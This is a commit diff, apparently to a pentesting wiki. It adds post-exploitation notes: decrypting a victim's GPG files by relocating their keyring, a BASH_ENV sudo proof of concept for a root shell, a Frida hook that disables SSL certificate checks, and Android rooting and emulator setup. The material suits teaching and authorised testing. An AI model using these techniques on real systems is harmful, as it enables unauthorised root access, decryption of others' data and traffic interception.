You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/linux-hardening/linux-post-exploitation/README.md
+28-1Lines changed: 28 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -53,6 +53,33 @@ The Pluggable Authentication Module (PAM) is a system used under Linux for user
53
53
> [!TIP]
54
54
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
55
55
56
-
{{#include ../../banners/hacktricks-training.md}}
56
+
## Decrypting GPG loot via homedir relocation
57
+
58
+
If you find an encrypted `.gpg` file and a user’s `~/.gnupg` folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
59
+
60
+
Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
57
61
62
+
Workflow:
63
+
64
+
```bash
65
+
# 1) Stage a writable homedir and copy the victim's keyring
If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
78
+
79
+
80
+
## References
81
+
82
+
-[0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
83
+
-[GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
### BASH_ENV preserved via sudo env_keep → root shell
890
+
891
+
If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.
892
+
893
+
- Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges.
894
+
895
+
- Requirements:
896
+
- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script).
897
+
- `BASH_ENV` present in`env_keep` (check with `sudo -l`).
898
+
899
+
- PoC:
900
+
901
+
```bash
902
+
cat > /dev/shm/shell.sh <<'EOF'
903
+
#!/bin/bash
904
+
/bin/bash
905
+
EOF
906
+
chmod +x /dev/shm/shell.sh
907
+
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
908
+
# You should now have a root shell
909
+
```
910
+
911
+
- Hardening:
912
+
- Remove `BASH_ENV` (and `ENV`) from `env_keep`, prefer `env_reset`.
913
+
- Avoid shell wrappers for sudo-allowed commands; use minimal binaries.
914
+
- Consider sudo I/O logging and alerting when preserved env vars are used.
915
+
889
916
### Sudo execution bypassing paths
890
917
891
918
**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
Copy file name to clipboardExpand all lines: src/mobile-pentesting/android-app-pentesting/README.md
+9Lines changed: 9 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -291,6 +291,14 @@ You need to activate the **debugging** options and it will be cool if you can **
291
291
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
292
292
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting****data** you can review later on.
293
293
294
+
Magisk/Zygisk quick notes (recommended on Pixel devices)
295
+
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
296
+
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
297
+
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
298
+
- For screen mirroring, use scrcpy on the host
299
+
300
+
301
+
294
302
### Unintended Data Leakage
295
303
296
304
**Logging**
@@ -858,6 +866,7 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
858
866
-[SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
-[Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
Complement with stubs for file existence checks and identifiers (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) to return realistic values.
162
+
163
+
## SSL pinning bypass quick hook (Java)
164
+
165
+
Neutralize custom TrustManagers and force permissive SSL contexts:
166
+
```js
167
+
Java.perform(function(){
168
+
var X509TrustManager =Java.use('javax.net.ssl.X509TrustManager');
169
+
var SSLContext =Java.use('javax.net.ssl.SSLContext');
-[Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
Copy file name to clipboardExpand all lines: src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
+59Lines changed: 59 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -208,6 +208,59 @@ However there are **a lot of different command line useful options** that you ca
208
208
-`-screen {touch(default)|multi-touch|o-touch}` : Set emulated touch screen mode.
209
209
-**`-writable-system`** : Use this option to have a writable system image during your emulation session. You will need also to run `adb root; adb remount`. This is very useful to install a new certificate in the system.
210
210
211
+
## Linux CLI setup (SDK/AVD quickstart)
212
+
213
+
The official CLI tools make it easy to create fast, debuggable emulators without Android Studio.
- Build types: userdebug often allows `adb root` on debug-capable images. Play Store images are production builds and block root.
246
+
- On x86_64 hosts, full-system ARM64 emulation is unsupported from API 28+. For Android 11+ use Google APIs/Play images that include per-app ARM-to-x86 translation to run many ARM-only apps quickly.
247
+
248
+
### Snapshots from CLI
249
+
250
+
```bash
251
+
# Save a clean snapshot from the running emulator
252
+
adb -s emulator-5554 emu avd snapshot save my_clean_setup
Google APIs and Play Store images on Android 11+ can translate ARM app binaries per process while keeping the rest of the system native x86/x86_64. This is often fast enough to test many ARM-only apps on desktop.
261
+
262
+
> Tip: Prefer Google APIs x86/x86_64 images during pentests. Play images are convenient but block `adb root`; use them only when you specifically require Play services and accept the lack of root.
263
+
211
264
## Rooting a Play Store device
212
265
213
266
If you downloaded a device with Play Store you are not going to be able to get root directly, and you will get this error message
@@ -236,6 +289,12 @@ You can **use the GUI** to take a snapshot of the VM at any time:
236
289
237
290
.png>)
238
291
292
+
## References
293
+
294
+
-[Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
203
261
204
262
263
+
## References
264
+
265
+
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
0 commit comments